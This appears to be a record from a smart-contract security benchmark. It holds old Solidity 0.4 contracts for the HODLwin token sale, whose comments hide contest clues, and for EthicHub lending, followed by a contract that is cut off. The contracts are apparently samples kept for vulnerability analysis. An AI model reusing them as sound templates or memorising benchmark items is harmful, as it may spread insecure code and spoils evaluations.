evaluation-dataset/0x938358f6f7786735cffbac3a218f3be16e496cf4.sol
| 4,163 | 15,994 |
pragma solidity ^0.4.16;
// ----------------------------------------------------------------------------
//
// HODLwin sale contract
//
// For details, please visit: https://www.HODLwin.com
//
// There is a clue to our 5% token giveaway contest in this code
// and also a couple of other surprises, good luck
// Remember to win the prize you and get the remaining clues you
// must be a token holder and registered for the contest on our
// webpage. https://www.hodlwin.com
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
//
// SafeMath3
//
// (no need to implement division)
//
// ----------------------------------------------------------------------------
library SafeMath3 {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
assert(a == 0 || c / a == b);
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
}
}
// ----------------------------------------------------------------------------
//
// Owned contract
//
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
// Events ---------------------------
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
// Modifier -------------------------
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Functions ------------------------
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
require(_newOwner != address(0x0));
OwnershipTransferProposed(owner, _newOwner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// ----------------------------------------------------------------------------
//
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// Clue-1 the password is a quote from a famous person, for more clues
// read the comments in this code carefully, register for the competion for the
// easier clues on our website www.hodlwin.com, plus keep an eye out for other
// bounties below.
// ----------------------------------------------------------------------------
contract ERC20Interface {
// Events ---------------------------
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
// Functions ------------------------
function totalSupply() public constant returns (uint);
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint remaining);
}
// ----------------------------------------------------------------------------
//
// ERC Token Standard #20
//
// ----------------------------------------------------------------------------
contract ERC20Token is ERC20Interface, Owned {
using SafeMath3 for uint;
uint public tokensIssuedTotal = 0;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
// Functions ------------------------
function totalSupply() public constant returns (uint) {
return tokensIssuedTotal;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function transfer(address _to, uint _amount) public returns (bool success) {
// amount sent cannot exceed balance
require(balances[msg.sender] >= _amount);
// update balances
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint _amount) public returns (bool success) {
// approval amount cannot exceed the balance
require(balances[msg.sender] >= _amount);
// update allowed amount
allowed[msg.sender][_spender] = _amount;
// log event
Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
// balance checks
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
// update balances and allowed amount
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
Transfer(_from, _to, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
// ----------------------------------------------------------------------------
//
// WIN public token sale
//
// ----------------------------------------------------------------------------
contract HODLwin is ERC20Token {
string public constant name = "HODLwin";
string public constant symbol = "WIN";
uint8 public constant decimals = 18;
address public wallet;
address public adminWallet;
uint public constant DATE_PRESALE_START = 1518105804; // (GMT): Thursday, 8 February 2018 14:24:58
uint public constant DATE_PRESALE_END = 1523019600; // (GMT): Friday, 6 April 2018 13:00:00
uint public constant DATE_ICO_START = 1523019600; // (GMT): Friday, 6 April 2018 13:00:00
uint public constant DATE_ICO_END = 1530882000; // (GMT): Friday, 6 July 2018 13:00:00
uint public tokensPerEth = 1000 * 10**18; // rate during public ICO after bonus period
//-------------------------
uint public constant BONUS_PRESALE = 50;// Clue-2 pyethrecover may
uint public constant BONUS_ICO_PERIOD_ONE = 20;// be useful once you receive
uint public constant BONUS_ICO_PERIOD_TWO = 10;// further clues
//-------------------------
uint public constant TOKEN_SUPPLY_TOTAL = 100000000 * 10**18; // 100 mm tokens
uint public constant TOKEN_SUPPLY_ICO = 50000000 * 10**18; // 50 mm tokens avalibale for presale and public
uint public constant TOKEN_SUPPLY_AIR = 50000000 * 10**18;
uint public constant PRESALE_ETH_CAP = 10000 ether;
uint public constant MIN_FUNDING_GOAL = 100 * 10**18 ; //
uint public constant MIN_CONTRIBUTION = 1 ether / 20; // 0.05 Ether
uint public constant MAX_CONTRIBUTION = 10000 ether;
uint public constant COOLDOWN_PERIOD = 1 days;
uint public constant CLAWBACK_PERIOD = 90 days;
uint public icoEtherReceived = 0; // Ether actually received by the contract
uint public tokensIssuedIco = 0;
uint public tokensIssuedAir = 0;
mapping(address => uint) public icoEtherContributed;
mapping(address => uint) public icoTokensReceived;
mapping(address => bool) public refundClaimed;
// Events ---------------------------
event WalletUpdated(address _newWallet);
event AdminWalletUpdated(address _newAdminWallet);
event TokensPerEthUpdated(uint _tokensPerEth);
event TokensMinted(address indexed _owner, uint _tokens, uint _balance);
event TokensIssued(address indexed _owner, uint _tokens, uint _balance, uint _etherContributed);
event Refund(address indexed _owner, uint _amount, uint _tokens);
// Basic Functions ------------------
function HODLwin () public {
require(TOKEN_SUPPLY_ICO + TOKEN_SUPPLY_AIR == TOKEN_SUPPLY_TOTAL);
wallet = owner;
adminWallet = owner;
}
function () public payable {
buyTokens();
}
// Information functions ------------
function atNow() public constant returns (uint) {
return now;
}
function icoThresholdReached() public constant returns (bool thresholdReached) {
if (icoEtherReceived < MIN_FUNDING_GOAL) {
return false;
}
return true;
}
function isTransferable() public constant returns (bool transferable) {
if (!icoThresholdReached()) {
return false;
}
if (atNow() < DATE_ICO_END + COOLDOWN_PERIOD) {
return false;
}
return true;
}
// Owner Functions ------------------
function setWallet(address _wallet) public onlyOwner {
require(_wallet != address(0x0));
wallet = _wallet;
WalletUpdated(wallet);
}
function setAdminWallet(address _wallet) public onlyOwner {
require(_wallet != address(0x0));
adminWallet = _wallet;
AdminWalletUpdated(adminWallet);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
require(atNow() < DATE_PRESALE_START);
tokensPerEth = _tokensPerEth;
TokensPerEthUpdated(_tokensPerEth);
}
function mintAirdrop(address _participant, uint _tokens) public onlyOwner {
// check amount
require(_tokens <= TOKEN_SUPPLY_AIR.sub(tokensIssuedAir));
require(_tokens.mul(10) <= TOKEN_SUPPLY_AIR);//to prevent mistakenly sending too many tokens to one address in airdrop
// update balances
balances[_participant] = balances[_participant].add(_tokens);
tokensIssuedAir = tokensIssuedAir.add(_tokens);
tokensIssuedTotal = tokensIssuedTotal.add(_tokens);
// log the miniting
Transfer(0x0, _participant, _tokens);
TokensMinted(_participant, _tokens, balances[_participant]);
}
function mintMultiple(address[] _addresses, uint _tokens) public onlyOwner {
require(msg.sender == adminWallet);
require(_tokens.mul(10) <= TOKEN_SUPPLY_AIR);//to prevent mistakenly sending all tokens to one address in airdrop
for (uint i = 0; i < _addresses.length; i++) {
mintAirdrop(_addresses[i], _tokens);
}
}
function ownerClawback() external onlyOwner {
require(atNow() > DATE_ICO_END + CLAWBACK_PERIOD);
wallet.transfer(this.balance);
}
function transferAnyERC20Token(address tokenAddress, uint amount) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
// Private functions ----------------
//caspsareimportant
//---------------------------------------------------------------------
// the first PeRson to send an email to hodlwin at (info@hodlwin.com) with the
// subject title as "first" and also in the Email State the wallet address
// used to buy theIr hodlwin tokens will win 1000 hodlwin tkns and 0.1 eth
// these will be sent as soon as we verify that you are a hoDlwin token hodlr
// the tokEns and 0.1 eth will be seNT to the address you used for the token
// sale.you must have conrtibuted the minimum 0.05eth to the token sale to
// win this competetion.when its won it will be announced on our website in
// the Updates section. Or you can watch the blockchain and See the pAyment
//------------------------------------------------------------------------
function buyTokens() private {
uint ts = atNow();
bool isPresale = false;
bool isIco = false;
uint tokens = 0;
// minimum contribution
require(msg.value >= MIN_CONTRIBUTION);
// one address transfer hard cap
require(icoEtherContributed[msg.sender].add(msg.value) <= MAX_CONTRIBUTION);
// check dates for presale or ICO
if (ts > DATE_PRESALE_START && ts < DATE_PRESALE_END) {
isPresale = true;
}
if (ts > DATE_ICO_START && ts < DATE_ICO_END) {
isIco = true;
}
if (ts > DATE_PRESALE_START && ts < DATE_ICO_END && icoEtherReceived >= PRESALE_ETH_CAP) {
isIco = true;
}
if (ts > DATE_PRESALE_START && ts < DATE_ICO_END && icoEtherReceived >= PRESALE_ETH_CAP) {
isPresale = false;
}
require(isPresale || isIco);
// presale cap in Ether
if (isPresale) {
require(icoEtherReceived.add(msg.value) <= PRESALE_ETH_CAP);
}
// get baseline number of tokens
tokens = tokensPerEth.mul(msg.value) / 1 ether;
// apply bonuses (none for last PERIOD)
if (isPresale) {
tokens = tokens.mul(100 + BONUS_PRESALE) / 100;
} else if (ts < DATE_ICO_START + 21 days) {
// first PERIOD ico bonus
tokens = tokens.mul(100 + BONUS_ICO_PERIOD_ONE) / 100;
} else if (ts < DATE_ICO_START + 42 days) {
// second PERIOD ico bonus
tokens = tokens.mul(100 + BONUS_ICO_PERIOD_TWO) / 100;
}
// ICO token volume cap
require(tokensIssuedIco.add(tokens) <= TOKEN_SUPPLY_ICO);
// register tokens
balances[msg.sender] = balances[msg.sender].add(tokens);
icoTokensReceived[msg.sender] = icoTokensReceived[msg.sender].add(tokens);
tokensIssuedIco = tokensIssuedIco.add(tokens);
tokensIssuedTotal = tokensIssuedTotal.add(tokens);
// register Ether
icoEtherReceived = icoEtherReceived.add(msg.value);
icoEtherContributed[msg.sender] = icoEtherContributed[msg.sender].add(msg.value);
// log token issuance
Transfer(0x0, msg.sender, tokens);
TokensIssued(msg.sender, tokens, balances[msg.sender], msg.value);
// transfer Ether if we're over the threshold
if (icoThresholdReached()) {
wallet.transfer(this.balance);
}
}
// ERC20 functions ------------------
function transfer(address _to, uint _amount) public returns (bool success) {
require(isTransferable());
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
require(isTransferable());
return super.transferFrom(_from, _to, _amount);
}
////caspsareimportant
//---------------------------------------------------------------------
// the next 20 people to send an email to hodlwin at (info@hodlwin.com) with the
// subject title as "second" and also in the email state the Wallet address
// used to buy their hOdlLwin tokens will win 1000 hODlwin tkns
// these will be sent as soon as we veRify that you are a hOdlwin token hodlr
// the tokens will be sent to the address you used for the token
// sale. you must have conrtibuted the minimum 0.05eth to the token sale to
// Win this competetion. when its won it will be announced on our website in
// the updates section. or you can look at the blockchain
//------------------------------------------------------------------------
// External functions ---------------
function reclaimFunds() external {
uint tokens; // tokens to destroy
uint amount; // refund amount
// ico is finished and was not successful
require(atNow() > DATE_ICO_END && !icoThresholdReached());
// check if refund has already been claimed
require(!refundClaimed[msg.sender]);
// check if there is anything to refund
require(icoEtherContributed[msg.sender] > 0);
// update variables affected by refund
tokens = icoTokensReceived[msg.sender];
amount = icoEtherContributed[msg.sender];
balances[msg.sender] = balances[msg.sender].sub(tokens);
tokensIssuedTotal = tokensIssuedTotal.sub(tokens);
refundClaimed[msg.sender] = true;
// transfer out refund
msg.sender.transfer(amount);
// log
Transfer(msg.sender, 0x0, tokens);
Refund(msg.sender, amount, tokens);
}
function transferMultiple(address[] _addresses, uint[] _amounts) external {
require(isTransferable());
require(_addresses.length == _amounts.length);
for (uint i = 0; i < _addresses.length; i++) {
super.transfer(_addresses[i], _amounts[i]);
}
}
}
| 189,277 | 281 |
35fd42008d2733a5978c16b0e1fd3cec263c352be158ea0b088038c2cf7a9a71
| 23,549 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x5a6d9a69408ce19df15eb40347ded3028a77fcca.sol
| 5,829 | 22,967 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract EthicHubReputationInterface {
modifier onlyUsersContract(){_;}
modifier onlyLendingContract(){_;}
function burnReputation(uint delayDays) external;
function incrementReputation(uint completedProjectsByTier) external;
function initLocalNodeReputation(address localNode) external;
function initCommunityReputation(address community) external;
function getCommunityReputation(address target) public view returns(uint256);
function getLocalNodeReputation(address target) public view returns(uint256);
}
contract EthicHubStorageInterface {
modifier onlyEthicHubContracts() {_;}
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string);
function getBytes(bytes32 _key) external view returns (bytes);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract EthicHubBase {
uint8 public version;
EthicHubStorageInterface public ethicHubStorage = EthicHubStorageInterface(0);
constructor(address _storageAddress) public {
require(_storageAddress != address(0));
ethicHubStorage = EthicHubStorageInterface(_storageAddress);
}
}
contract EthicHubLending is EthicHubBase, Ownable, Pausable {
using SafeMath for uint256;
enum LendingState {
Uninitialized,
AcceptingContributions,
ExchangingToFiat,
AwaitingReturn,
ProjectNotFunded,
ContributionReturned,
Default
}
mapping(address => Investor) public investors;
uint256 public investorCount;
uint256 public reclaimedContributions;
uint256 public reclaimedSurpluses;
uint256 public fundingStartTime;
uint256 public fundingEndTime;
uint256 public totalContributed;
bool public capReached;
LendingState public state;
uint256 public annualInterest;
uint256 public totalLendingAmount;
uint256 public lendingDays;
uint256 public initialEthPerFiatRate;
uint256 public totalLendingFiatAmount;
address public borrower;
address public localNode;
address public ethicHubTeam;
uint256 public borrowerReturnDate;
uint256 public borrowerReturnEthPerFiatRate;
uint256 public ethichubFee;
uint256 public localNodeFee;
uint256 public tier;
uint256 public constant interestBaseUint = 100;
uint256 public constant interestBasePercent = 10000;
bool public localNodeFeeReclaimed;
bool public ethicHubTeamFeeReclaimed;
uint256 public surplusEth;
uint256 public returnedEth;
struct Investor {
uint256 amount;
bool isCompensated;
bool surplusEthReclaimed;
}
event onCapReached(uint endTime);
event onContribution(uint totalContributed, address indexed investor, uint amount, uint investorsCount);
event onCompensated(address indexed contributor, uint amount);
event onSurplusSent(uint256 amount);
event onSurplusReclaimed(address indexed contributor, uint amount);
event StateChange(uint state);
event onInitalRateSet(uint rate);
event onReturnRateSet(uint rate);
event onReturnAmount(address indexed borrower, uint amount);
event onBorrowerChanged(address indexed newBorrower);
event onInvestorChanged(address indexed oldInvestor, address indexed newInvestor);
modifier checkProfileRegistered(string profile) {
bool isRegistered = ethicHubStorage.getBool(keccak256("user", profile, msg.sender));
require(isRegistered);
_;
}
modifier checkIfArbiter() {
address arbiter = ethicHubStorage.getAddress(keccak256("arbiter", this));
require(arbiter == msg.sender);
_;
}
modifier onlyOwnerOrLocalNode() {
require(localNode == msg.sender || owner == msg.sender);
_;
}
modifier onlyInvestorOrPaymentGateway() {
bool isInvestor = ethicHubStorage.getBool(keccak256("user", "investor", msg.sender));
bool isPaymentGateway = ethicHubStorage.getBool(keccak256("user", "paymentGateway", msg.sender));
require(isPaymentGateway || isInvestor);
_;
}
constructor(uint256 _fundingStartTime,
uint256 _fundingEndTime,
address _borrower,
uint256 _annualInterest,
uint256 _totalLendingAmount,
uint256 _lendingDays,
address _storageAddress,
address _localNode,
address _ethicHubTeam,
uint256 _ethichubFee,
uint256 _localNodeFee)
EthicHubBase(_storageAddress)
public {
require(_fundingStartTime > now);
require(_fundingEndTime > fundingStartTime);
require(_borrower != address(0));
require(ethicHubStorage.getBool(keccak256("user", "representative", _borrower)));
require(_localNode != address(0));
require(_ethicHubTeam != address(0));
require(ethicHubStorage.getBool(keccak256("user", "localNode", _localNode)));
require(_totalLendingAmount > 0);
require(_lendingDays > 0);
require(_annualInterest > 0 && _annualInterest < 100);
version = 4;
reclaimedContributions = 0;
reclaimedSurpluses = 0;
fundingStartTime = _fundingStartTime;
fundingEndTime = _fundingEndTime;
localNode = _localNode;
ethicHubTeam = _ethicHubTeam;
borrower = _borrower;
annualInterest = _annualInterest;
totalLendingAmount = _totalLendingAmount;
lendingDays = _lendingDays;
ethichubFee = _ethichubFee;
localNodeFee = _localNodeFee;
state = LendingState.Uninitialized;
}
function saveInitialParametersToStorage(uint256 _maxDelayDays, uint256 _tier, uint256 _communityMembers, address _community) external onlyOwnerOrLocalNode {
require(_maxDelayDays != 0);
require(state == LendingState.Uninitialized);
require(_tier > 0);
require(_communityMembers > 0);
require(ethicHubStorage.getBool(keccak256("user", "community", _community)));
ethicHubStorage.setUint(keccak256("lending.maxDelayDays", this), _maxDelayDays);
ethicHubStorage.setAddress(keccak256("lending.community", this), _community);
ethicHubStorage.setAddress(keccak256("lending.localNode", this), localNode);
ethicHubStorage.setUint(keccak256("lending.tier", this), _tier);
ethicHubStorage.setUint(keccak256("lending.communityMembers", this), _communityMembers);
tier = _tier;
state = LendingState.AcceptingContributions;
emit StateChange(uint(state));
}
function setBorrower(address _borrower) external checkIfArbiter {
require(_borrower != address(0));
require(ethicHubStorage.getBool(keccak256("user", "representative", _borrower)));
borrower = _borrower;
emit onBorrowerChanged(borrower);
}
function changeInvestorAddress(address oldInvestor, address newInvestor) external checkIfArbiter {
require(newInvestor != address(0));
require(ethicHubStorage.getBool(keccak256("user", "investor", newInvestor)));
require(investors[oldInvestor].amount != 0);
require(investors[newInvestor].amount == 0);
investors[newInvestor].amount = investors[oldInvestor].amount;
investors[newInvestor].isCompensated = investors[oldInvestor].isCompensated;
investors[newInvestor].surplusEthReclaimed = investors[oldInvestor].surplusEthReclaimed;
delete investors[oldInvestor];
emit onInvestorChanged(oldInvestor, newInvestor);
}
function() public payable whenNotPaused {
require(state == LendingState.AwaitingReturn || state == LendingState.AcceptingContributions || state == LendingState.ExchangingToFiat);
if(state == LendingState.AwaitingReturn) {
returnBorrowedEth();
} else if (state == LendingState.ExchangingToFiat) {
sendBackSurplusEth();
} else {
require(ethicHubStorage.getBool(keccak256("user", "investor", msg.sender)));
contributeWithAddress(msg.sender);
}
}
function sendBackSurplusEth() internal {
require(state == LendingState.ExchangingToFiat);
require(msg.sender == borrower);
surplusEth = surplusEth.add(msg.value);
require(surplusEth <= totalLendingAmount);
emit onSurplusSent(msg.value);
}
function declareProjectNotFunded() external onlyOwnerOrLocalNode {
require(totalContributed < totalLendingAmount);
require(state == LendingState.AcceptingContributions);
require(now > fundingEndTime);
state = LendingState.ProjectNotFunded;
emit StateChange(uint(state));
}
function declareProjectDefault() external onlyOwnerOrLocalNode {
require(state == LendingState.AwaitingReturn);
uint maxDelayDays = getMaxDelayDays();
require(getDelayDays(now) >= maxDelayDays);
EthicHubReputationInterface reputation = EthicHubReputationInterface(ethicHubStorage.getAddress(keccak256("contract.name", "reputation")));
require(reputation != address(0));
ethicHubStorage.setUint(keccak256("lending.delayDays", this), maxDelayDays);
reputation.burnReputation(maxDelayDays);
state = LendingState.Default;
emit StateChange(uint(state));
}
function setBorrowerReturnEthPerFiatRate(uint256 _borrowerReturnEthPerFiatRate) external onlyOwnerOrLocalNode {
require(state == LendingState.AwaitingReturn);
borrowerReturnEthPerFiatRate = _borrowerReturnEthPerFiatRate;
emit onReturnRateSet(borrowerReturnEthPerFiatRate);
}
function finishInitialExchangingPeriod(uint256 _initialEthPerFiatRate) external onlyOwnerOrLocalNode {
require(capReached == true);
require(state == LendingState.ExchangingToFiat);
initialEthPerFiatRate = _initialEthPerFiatRate;
if (surplusEth > 0) {
totalLendingAmount = totalLendingAmount.sub(surplusEth);
}
totalLendingFiatAmount = totalLendingAmount.mul(initialEthPerFiatRate);
emit onInitalRateSet(initialEthPerFiatRate);
state = LendingState.AwaitingReturn;
emit StateChange(uint(state));
}
function reclaimContributionDefault(address beneficiary) external {
require(state == LendingState.Default);
require(!investors[beneficiary].isCompensated);
uint256 contribution = checkInvestorReturns(beneficiary);
require(contribution > 0);
investors[beneficiary].isCompensated = true;
reclaimedContributions = reclaimedContributions.add(1);
doReclaim(beneficiary, contribution);
}
function reclaimContribution(address beneficiary) external {
require(state == LendingState.ProjectNotFunded);
require(!investors[beneficiary].isCompensated);
uint256 contribution = investors[beneficiary].amount;
require(contribution > 0);
investors[beneficiary].isCompensated = true;
reclaimedContributions = reclaimedContributions.add(1);
doReclaim(beneficiary, contribution);
}
function reclaimSurplusEth(address beneficiary) external {
require(surplusEth > 0);
require(state != LendingState.ExchangingToFiat);
require(!investors[beneficiary].surplusEthReclaimed);
uint256 surplusContribution = investors[beneficiary].amount.mul(surplusEth).div(surplusEth.add(totalLendingAmount));
require(surplusContribution > 0);
investors[beneficiary].surplusEthReclaimed = true;
reclaimedSurpluses = reclaimedSurpluses.add(1);
emit onSurplusReclaimed(beneficiary, surplusContribution);
doReclaim(beneficiary, surplusContribution);
}
function reclaimContributionWithInterest(address beneficiary) external {
require(state == LendingState.ContributionReturned);
require(!investors[beneficiary].isCompensated);
uint256 contribution = checkInvestorReturns(beneficiary);
require(contribution > 0);
investors[beneficiary].isCompensated = true;
reclaimedContributions = reclaimedContributions.add(1);
doReclaim(beneficiary, contribution);
}
function reclaimLocalNodeFee() external {
require(state == LendingState.ContributionReturned);
require(localNodeFeeReclaimed == false);
uint256 fee = totalLendingFiatAmount.mul(localNodeFee).mul(interestBaseUint).div(interestBasePercent).div(borrowerReturnEthPerFiatRate);
require(fee > 0);
localNodeFeeReclaimed = true;
doReclaim(localNode, fee);
}
function reclaimEthicHubTeamFee() external {
require(state == LendingState.ContributionReturned);
require(ethicHubTeamFeeReclaimed == false);
uint256 fee = totalLendingFiatAmount.mul(ethichubFee).mul(interestBaseUint).div(interestBasePercent).div(borrowerReturnEthPerFiatRate);
require(fee > 0);
ethicHubTeamFeeReclaimed = true;
doReclaim(ethicHubTeam, fee);
}
function reclaimLeftoverEth() external checkIfArbiter {
require(state == LendingState.ContributionReturned || state == LendingState.Default);
require(localNodeFeeReclaimed);
require(ethicHubTeamFeeReclaimed);
require(investorCount == reclaimedContributions);
if(surplusEth > 0) {
require(investorCount == reclaimedSurpluses);
}
doReclaim(ethicHubTeam, this.balance);
}
function doReclaim(address target, uint256 amount) internal {
if(this.balance < amount) {
target.transfer(this.balance);
} else {
target.transfer(amount);
}
}
function returnBorrowedEth() internal {
require(state == LendingState.AwaitingReturn);
require(msg.sender == borrower);
require(borrowerReturnEthPerFiatRate > 0);
bool projectRepayed = false;
uint excessRepayment = 0;
uint newReturnedEth = 0;
emit onReturnAmount(msg.sender, msg.value);
(newReturnedEth, projectRepayed, excessRepayment) = calculatePaymentGoal(borrowerReturnAmount(),
returnedEth,
msg.value);
returnedEth = newReturnedEth;
if (projectRepayed == true) {
state = LendingState.ContributionReturned;
emit StateChange(uint(state));
updateReputation();
}
if (excessRepayment > 0) {
msg.sender.transfer(excessRepayment);
}
}
function contributeForAddress(address contributor) external checkProfileRegistered('paymentGateway') payable whenNotPaused {
contributeWithAddress(contributor);
}
function contributeWithAddress(address contributor) internal whenNotPaused {
require(state == LendingState.AcceptingContributions);
require(isContribPeriodRunning());
uint oldTotalContributed = totalContributed;
uint newTotalContributed = 0;
uint excessContribValue = 0;
(newTotalContributed, capReached, excessContribValue) = calculatePaymentGoal(totalLendingAmount,
oldTotalContributed,
msg.value);
totalContributed = newTotalContributed;
if (capReached) {
fundingEndTime = now;
emit onCapReached(fundingEndTime);
}
if (investors[contributor].amount == 0) {
investorCount = investorCount.add(1);
}
if (excessContribValue > 0) {
msg.sender.transfer(excessContribValue);
investors[contributor].amount = investors[contributor].amount.add(msg.value).sub(excessContribValue);
emit onContribution(newTotalContributed, contributor, msg.value.sub(excessContribValue), investorCount);
} else {
investors[contributor].amount = investors[contributor].amount.add(msg.value);
emit onContribution(newTotalContributed, contributor, msg.value, investorCount);
}
}
function calculatePaymentGoal(uint goal, uint oldTotal, uint contribValue) internal pure returns(uint, bool, uint) {
uint newTotal = oldTotal.add(contribValue);
bool goalReached = false;
uint excess = 0;
if (newTotal >= goal && oldTotal < goal) {
goalReached = true;
excess = newTotal.sub(goal);
contribValue = contribValue.sub(excess);
newTotal = goal;
}
return (newTotal, goalReached, excess);
}
function sendFundsToBorrower() external onlyOwnerOrLocalNode {
require(state == LendingState.AcceptingContributions);
require(capReached);
state = LendingState.ExchangingToFiat;
emit StateChange(uint(state));
borrower.transfer(totalContributed);
}
function updateReputation() internal {
uint delayDays = getDelayDays(now);
EthicHubReputationInterface reputation = EthicHubReputationInterface(ethicHubStorage.getAddress(keccak256("contract.name", "reputation")));
require(reputation != address(0));
if (delayDays > 0) {
ethicHubStorage.setUint(keccak256("lending.delayDays", this), delayDays);
reputation.burnReputation(delayDays);
} else {
uint completedProjectsByTier = ethicHubStorage.getUint(keccak256("community.completedProjectsByTier", this, tier)).add(1);
ethicHubStorage.setUint(keccak256("community.completedProjectsByTier", this, tier), completedProjectsByTier);
reputation.incrementReputation(completedProjectsByTier);
}
}
function getDelayDays(uint date) public view returns(uint) {
uint lendingDaysSeconds = lendingDays * 1 days;
uint defaultTime = fundingEndTime.add(lendingDaysSeconds);
if (date < defaultTime) {
return 0;
} else {
return date.sub(defaultTime).div(60).div(60).div(24);
}
}
function lendingInterestRatePercentage() public view returns(uint256){
return annualInterest.mul(interestBaseUint).mul(lendingDays.add(getDelayDays(now))).div(365).add(localNodeFee.mul(interestBaseUint)).add(ethichubFee.mul(interestBaseUint)).add(interestBasePercent);
}
function investorInterest() public view returns(uint256){
return annualInterest.mul(interestBaseUint).mul(lendingDays.add(getDelayDays(now))).div(365).add(interestBasePercent);
}
function borrowerReturnFiatAmount() public view returns(uint256) {
return totalLendingFiatAmount.mul(lendingInterestRatePercentage()).div(interestBasePercent);
}
function borrowerReturnAmount() public view returns(uint256) {
return borrowerReturnFiatAmount().div(borrowerReturnEthPerFiatRate);
}
function isContribPeriodRunning() public view returns(bool) {
return fundingStartTime <= now && fundingEndTime > now && !capReached;
}
function checkInvestorContribution(address investor) public view returns(uint256){
return investors[investor].amount;
}
function checkInvestorReturns(address investor) public view returns(uint256) {
uint256 investorAmount = 0;
if (state == LendingState.ContributionReturned) {
investorAmount = investors[investor].amount;
if (surplusEth > 0){
investorAmount = investors[investor].amount.mul(totalLendingAmount).div(totalContributed);
}
return investorAmount.mul(initialEthPerFiatRate).mul(investorInterest()).div(borrowerReturnEthPerFiatRate).div(interestBasePercent);
} else if (state == LendingState.Default){
investorAmount = investors[investor].amount;
return investorAmount.mul(returnedEth).div(totalLendingAmount);
} else {
return 0;
}
}
function getMaxDelayDays() public view returns(uint256){
return ethicHubStorage.getUint(keccak256("lending.maxDelayDays", this));
}
function getUserContributionReclaimStatus(address userAddress) public view returns(bool isCompensated, bool surplusEthReclaimed){
isCompensated = investors[userAddress].isCompensated;
surplusEthReclaimed = investors[userAddress].surplusEthReclaimed;
}
}
| 165,254 | 282 |
74a3af0fbba69f6e63ae5dcc07bcda4000e7687d43756c2082f78eb35d428039
| 29,648 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/b5/b540e8d69b6f531a5588d93467be86bc5397b407_Snorlex.sol
| 5,186 | 18,690 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
